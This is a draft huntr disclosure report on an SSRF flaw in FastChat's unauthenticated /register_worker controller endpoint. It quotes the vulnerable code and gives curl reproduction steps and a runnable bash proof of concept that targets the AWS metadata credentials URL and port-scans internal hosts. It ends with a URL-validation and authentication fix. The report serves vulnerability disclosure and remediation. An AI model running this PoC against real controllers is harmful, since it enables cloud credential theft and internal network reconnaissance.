# SSRF via Unauthenticated Worker Registration in FastChat Controller ## meta platform: huntr program: FastChat asset: https://github.com/lm-sys/FastChat date: 2026-02-12 status: DRAFT ```` Repository URL: https://github.com/lm-sys/FastChat Package Manager: pip Version Affected: 587d5cfa1609a43d192cedb8441cac3c17db105d Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS: 8.6 Title: SSRF via Unauthenticated Worker Registration in FastChat Controller Description: ## summary The FastChat controller's `/register_worker` endpoint accepts arbitrary URLs as worker addresses without any authentication or URL validation. An attacker can register a malicious URL (e.g., a cloud metadata endpoint or internal service) as a worker. The controller then makes server-side HTTP POST requests to that URL during status checks, heartbeat verification, worker refresh, and request proxying -- resulting in a full SSRF primitive that can reach internal network resources, cloud metadata services, and other unexposed services. ## details type: CWE-918 (Server-Side Request Forgery) + CWE-306 (Missing Authentication for Critical Function) severity: high cvss: 8.6 file: fastchat/serve/controller.py:288 version: 587d5cfa1609a43d192cedb8441cac3c17db105d ## vulnerable_code ### 1. Unauthenticated worker registration endpoint (controller.py:288-296) The FastAPI endpoint accepts any POST request with no authentication: ```python @app.post("/register_worker") # <-- NO AUTH async def register_worker(request: Request): data = await request.json() controller.register_worker( data["worker_name"], # <-- ATTACKER-CONTROLLED URL data["check_heart_beat"], data.get("worker_status", None), data.get("multimodal", False), ) ``` ### 2. Registration stores attacker URL, optionally triggers immediate SSRF (controller.py:75-102) ```python def register_worker( self, worker_name: str, # <-- ATTACKER URL STORED AS KEY check_heart_beat: bool, worker_status: dict, multimodal: bool, ): if not worker_status: worker_status = self.get_worker_status(worker_name) # <-- SSRF TRIGGER 1 if not worker_status: return False self.worker_info[worker_name] = WorkerInfo( # <-- URL STORED IN DICT worker_status["model_names"], worker_status["speed"], worker_status["queue_length"], check_heart_beat, time.time(), multimodal, ) return True ``` ### 3. Status check makes HTTP POST to attacker URL (controller.py:104-115) ```python def get_worker_status(self, worker_name: str): try: r = requests.post(worker_name + "/worker_get_status", timeout=5) # <-- SSRF except requests.exceptions.RequestException as e: logger.error(f"Get status fails: {worker_name}, {e}") return None if r.status_code != 200: logger.error(f"Get status fails: {worker_name}, {r}") return None return r.json() ``` ### 4. Stream generation proxies to attacker URL (controller.py:266-282) ```python def worker_api_generate_stream(self, params): worker_addr = self.get_worker_address(params["model"]) if not worker_addr: yield self.handle_no_worker(params) try: response = requests.post( worker_addr + "/worker_generate_stream", # <-- SSRF: sends user prompt data json=params, # <-- FORWARDS REQUEST BODY stream=True, timeout=WORKER_API_TIMEOUT, ) ``` ### 5. Worker refresh triggers SSRF for ALL registered workers (controller.py:120-128) ```python def refresh_all_workers(self): old_info = dict(self.worker_info) self.worker_info = {} for w_name, w_info in old_info.items(): if not self.register_worker( w_name, w_info.check_heart_beat, None, w_info.multimodal # <-- worker_status=None forces get_worker_status() call ): logger.info(f"Remove stale worker: {w_name}") ``` ### 6. OpenAI API server also proxies to attacker-registered worker (openai_api_server.py:680-699) ```python async def generate_completion_stream(payload: Dict[str, Any], worker_addr: str): async with httpx.AsyncClient() as client: async with client.stream( "POST", worker_addr + "/worker_generate_stream", # <-- SSRF via openai-compatible API headers=headers, json=payload, timeout=WORKER_API_TIMEOUT, ) as response: ``` ## steps_to_reproduce 1. Start the FastChat controller (default port 21001): ```bash python3 -m fastchat.serve.controller --host 0.0.0.0 --port 21001 ``` 2. Register a malicious worker pointing to the AWS metadata service (or any internal target): ```bash curl -X POST http://:21001/register_worker \ -H "Content-Type: application/json" \ -d '{ "worker_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials", "check_heart_beat": false, "worker_status": { "model_names": ["ssrf-model"], "speed": 1, "queue_length": 0 }, "multimodal": false }' ``` 3. Confirm the malicious model is now listed: ```bash curl -X POST http://:21001/list_models ``` Response: `{"models": ["ssrf-model"]}` 4. Trigger SSRF by requesting the worker address (the controller will return the attacker URL, and any downstream component making requests to it will hit the internal target): ```bash curl -X POST http://:21001/get_worker_address \ -H "Content-Type: application/json" \ -d '{"model": "ssrf-model"}' ``` Response: `{"address": "http://169.254.169.254/latest/meta-data/iam/security-credentials"}` 5. Trigger SSRF via the stream generation proxy (controller acts as proxy, making POST to the registered URL): ```bash curl -X POST http://:21001/worker_generate_stream \ -H "Content-Type: application/json" \ -d '{"model": "ssrf-model", "prompt": "test", "max_new_tokens": 10}' ``` 6. Trigger SSRF via refresh (makes `get_worker_status` POST to every registered worker URL): ```bash curl -X POST http://:21001/refresh_all_workers ``` ## poc ```bash #!/bin/bash # PoC: SSRF via unauthenticated worker registration in FastChat controller # Requires: FastChat controller running on localhost:21001 CONTROLLER="http://localhost:21001" echo "[*] Step 1: Register malicious worker targeting AWS metadata service" curl -s -X POST "$CONTROLLER/register_worker" \ -H "Content-Type: application/json" \ -d '{ "worker_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials", "check_heart_beat": false, "worker_status": { "model_names": ["pwned-model"], "speed": 1, "queue_length": 0 }, "multimodal": false }' echo "" echo "[*] Step 2: Verify malicious model is registered" curl -s -X POST "$CONTROLLER/list_models" echo "" echo "[*] Step 3: Get worker address (returns attacker-controlled URL)" curl -s -X POST "$CONTROLLER/get_worker_address" \ -H "Content-Type: application/json" \ -d '{"model": "pwned-model"}' echo "" echo "[*] Step 4: Trigger SSRF via stream proxy (controller POSTs to metadata endpoint)" curl -s -X POST "$CONTROLLER/worker_generate_stream" \ -H "Content-Type: application/json" \ -d '{"model": "pwned-model", "prompt": "test", "max_new_tokens": 10}' \ --max-time 5 echo "" echo "[*] Step 5: Trigger SSRF via refresh (POSTs to all registered worker URLs)" curl -s -X POST "$CONTROLLER/refresh_all_workers" echo "" echo "[*] Step 6: Internal port scanning example" # Register workers for multiple internal ports for PORT in 22 80 443 3306 5432 6379 8080 8443 9200; do curl -s -X POST "$CONTROLLER/register_worker" \ -H "Content-Type: application/json" \ -d "{ \"worker_name\": \"http://10.0.0.1:$PORT\", \"check_heart_beat\": false, \"worker_status\": { \"model_names\": [\"scan-$PORT\"], \"speed\": 1, \"queue_length\": 0 }, \"multimodal\": false }" & done wait echo "[*] Trigger status checks on all registered ports" curl -s -X POST "$CONTROLLER/refresh_all_workers" echo "" echo "[+] Done. Check controller logs for connection results (port scan fingerprinting)." ``` ## expected_vs_actual expected: The controller should authenticate registration requests and validate that worker URLs point to legitimate, expected network locations. Internal/private IP ranges and cloud metadata endpoints should be blocked. actual: The controller accepts any URL from any unauthenticated source and makes HTTP POST requests to it. There is zero authentication on any controller endpoint and zero validation of the worker URL. The attacker-supplied URL is used directly in `requests.post()` calls, enabling full SSRF to arbitrary internal endpoints. ## impact - **Cloud metadata credential theft**: On AWS/GCP/Azure, registering `http://169.254.169.254/...` as a worker allows extraction of IAM credentials, instance identity tokens, and other sensitive metadata via the controller's outbound HTTP requests. - **Internal network reconnaissance**: By registering workers pointing at internal IPs/ports and triggering `refresh_all_workers`, an attacker can perform port scanning of the internal network. Connection timing and error messages in logs reveal which ports are open. - **Internal service exploitation**: The controller forwards POST requests with JSON bodies (including user prompt data) to the registered URL. This can be used to interact with internal REST APIs, databases with HTTP interfaces (Elasticsearch, CouchDB), or other services not exposed to the internet. - **Data exfiltration**: When the OpenAI-compatible API server or Gradio web server proxies user requests through the controller, the full request payload (including user prompts and potentially sensitive data) is POST-ed to the attacker-controlled URL. - **Denial of service**: An attacker can register thousands of malicious workers, causing the controller to make outbound requests to arbitrary targets, potentially overwhelming internal services or consuming controller resources. - **No authentication barrier**: All controller endpoints (`/register_worker`, `/refresh_all_workers`, `/list_models`, `/get_worker_address`, `/receive_heart_beat`, `/worker_generate_stream`, `/worker_get_status`) are completely unauthenticated, making exploitation trivial from any network position that can reach the controller. ## fix ```python import ipaddress from urllib.parse import urlparse # Add to controller.py ALLOWED_WORKER_SCHEMES = {"http", "https"} BLOCKED_NETWORKS = [ ipaddress.ip_network("127.0.0.0/8"), # Loopback ipaddress.ip_network("169.254.0.0/16"), # Link-local (cloud metadata) ipaddress.ip_network("10.0.0.0/8"), # Private ipaddress.ip_network("172.16.0.0/12"), # Private ipaddress.ip_network("192.168.0.0/16"), # Private ipaddress.ip_network("0.0.0.0/8"), # "This" network ipaddress.ip_network("::1/128"), # IPv6 loopback ipaddress.ip_network("fc00::/7"), # IPv6 unique local ipaddress.ip_network("fe80::/10"), # IPv6 link-local ] def validate_worker_url(url: str) -> bool: """Validate that a worker URL does not point to internal/private networks.""" try: parsed = urlparse(url) if parsed.scheme not in ALLOWED_WORKER_SCHEMES: return False hostname = parsed.hostname if not hostname: return False # Resolve hostname to IP and check against blocked ranges import socket addr_info = socket.getaddrinfo(hostname, parsed.port) for family, type_, proto, canonname, sockaddr in addr_info: ip = ipaddress.ip_address(sockaddr[0]) for network in BLOCKED_NETWORKS: if ip in network: logger.warning(f"Blocked worker registration for private IP: {url} -> {ip}") return False return True except Exception as e: logger.error(f"Worker URL validation failed: {url}, {e}") return False # Modify register_worker endpoint to include validation: @app.post("/register_worker") async def register_worker(request: Request): data = await request.json() worker_name = data["worker_name"] if not validate_worker_url(worker_name): return {"success": False, "error": "Invalid or blocked worker URL"} controller.register_worker( worker_name, data["check_heart_beat"], data.get("worker_status", None), data.get("multimodal", False), ) return {"success": True} ``` Additionally, **authentication should be added to all controller endpoints**. At minimum, a shared secret / API key should be required: ```python from fastapi import Depends, HTTPException from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials security = HTTPBearer() def verify_controller_token(credentials: HTTPAuthorizationCredentials = Depends(security)): if credentials.credentials != CONTROLLER_API_KEY: raise HTTPException(status_code=401, detail="Invalid authentication") return credentials @app.post("/register_worker", dependencies=[Depends(verify_controller_token)]) async def register_worker(request: Request): # ... existing logic with URL validation added ``` **Why this fixes it:** 1. **URL validation** prevents registration of workers pointing to internal/private IP ranges, cloud metadata endpoints, and loopback addresses, blocking the SSRF vector. 2. **Authentication** ensures only authorized workers/administrators can register, eliminating the unauthenticated access that enables the attack. 3. Both defenses are defense-in-depth: even if one is bypassed (e.g., DNS rebinding against URL validation), the authentication layer still prevents anonymous exploitation. ## references - https://cwe.mitre.org/data/definitions/918.html (CWE-918: Server-Side Request Forgery) - https://cwe.mitre.org/data/definitions/306.html (CWE-306: Missing Authentication for Critical Function) - https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html (AWS metadata endpoint) ````